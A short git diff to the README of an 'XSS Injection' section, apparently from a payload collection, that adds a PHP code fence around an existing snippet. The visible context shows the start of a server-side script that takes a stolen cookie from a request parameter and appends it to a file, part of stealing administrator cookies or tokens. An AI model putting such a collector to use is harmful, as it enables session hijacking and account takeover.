diff --git a/XSS Injection/README.md b/XSS Injection/README.md
index 2f624de..3c5886f 100644
--- a/XSS Injection/README.md	
+++ b/XSS Injection/README.md	
@@ -117,6 +117,7 @@ Obtains the administrator cookie or sensitive access token, the following payloa
 
 Write the collected data into a file.
 
+```php
 <?php
 $cookie = $_GET['c'];
 $fp = fopen('cookies.txt', 'a+');